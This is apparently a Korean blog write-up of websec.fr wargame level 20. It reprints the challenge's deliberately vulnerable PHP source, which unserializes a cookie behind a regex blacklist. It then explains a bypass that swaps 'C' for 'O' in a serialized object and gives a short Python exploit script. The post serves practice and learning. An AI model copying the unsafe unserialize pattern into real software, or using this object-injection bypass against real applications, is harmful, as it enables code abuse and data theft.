source.php


<?php

include "flag.php";

class 
Flag {
    public function 
__destruct() {
       global 
$flag;
       echo 
$flag
    }
}

function 
sanitize($data) {
    
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
    
if ( ! preg_match ('/[A-Z]:/'$data)) {
        return 
unserialize ($data);
    }

    if ( ! 
preg_match ('/(^|;|{|})O:[0-9+]+:"/'$data )) {
        return 
unserialize ($data);
    }

    return 
false;
}

$data = Array();
if (isset (
$_COOKIE['data'])) {
    
$data sanitize (base64_decode ($_COOKIE['data']));
}

if (isset (
$_POST['value']) and ! empty ($_POST['value'])) {
    
/* Add a value twice to remove it from the list. */
    
if (($key array_search ($_POST['value'], $data)) !== false) {
        unset (
$data[$key]);
    } else { 
/* Else, simply add it. */
        
array_push ($data$_POST['value']);
    }
    
setcookie ('data'base64_encode (serialize ($data)));
}

?>

<!DOCTYPE html>
<html>
<head>
        <title>#WebSec Level Twenty</title>
        <link rel="stylesheet" href="../static/bootstrap.min.css" />
    <!-- Thanks to XeR for helping debugging this level. -->
</head>
<body>
    <div id="main">
        <div class="container">
            <div class="row">
                <h1>LevelTwenty <small> - Call me maybe</small></h1>
            </div>
            <div class="row">
                <p class="lead">
                    Since there is nothing that a good blacklist can't fix,
                    we're using <a href="https://secure.php.net/manual/en/function.unserialize.php">unserialize</a>
                    with a <b>bullet-proof</b> one for our amazing todo-list.<br>
                    You can get the sources <a href="source.php">here</a>.
                </p>
            </div>
        </div>
    <br>
        <div class="container">
            <div class="row">
                <form class="form-inline col-md-3" method='post'>
                    <input name='value' id='value' class='form-control' type='text' placeholder='Item'>
                    <input class="form-control btn btn-default" name="submit" value='Add' type='submit'>
                </form>
            </div>
            <div class="row col-md-3">
        <br>
                <ul class="list-group">
                <?php 
                    
foreach ($data as $value)
                        print 
'<li class="list-group-item">' htmlentities($value) . '</li>';
                
?>
                </ul>
            </div>
        </div>
    </div>
</body>
</html>


Serialize된 Flag 객체 값을 넣어주면 되는데, 필터로직이 두개정도 있다. 소스 내 주석에 박힌 Exploit-db에서 사용한 O:+4 요런식의 +를 사용한 bypass도 막혀있는걸 볼 수 있다. 


이것저것 해보다 외국인이 쓴 unserialize관련 문서에서 요런걸 찾았다.


switch (yych) {
case 'C':
case 'O':       goto yy13;
case 'N':       goto yy5;
case 'R':       goto yy2;
case 'S':       goto yy10;
case 'a':       goto yy11;
case 'b':       goto yy6;
case 'd':       goto yy8;
case 'i':       goto yy7;
case 'o':       goto yy12;
case 'r':       goto yy4;
case 's':       goto yy9;
case '}':       goto yy14;
default:        goto yy16;


case구문을 잘 보면 O랑 C가 동일한 분기로 점프하는걸 볼 수 있고 O대신 C로 객체를 표현할 수 있나해서 로컬에서 테스트해보니 잘 되는걸 볼 수 있었다.


exploit.py


import requests


def exploit(payload):

    url = "http://websec.fr/level20/index.php"

    headers = {"Cookie":"data="+payload}

    result = requests.get(url,headers=headers).text

    print result


payload = 'C:4:"Flag":0:{}'.encode("base64").replace("\n","")

exploit(payload)


'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level 22  (0) 2019.08.22
websec.fr easy level 13  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.fr babysteps level 25  (0) 2018.12.12
Websec.kr easy level 15  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,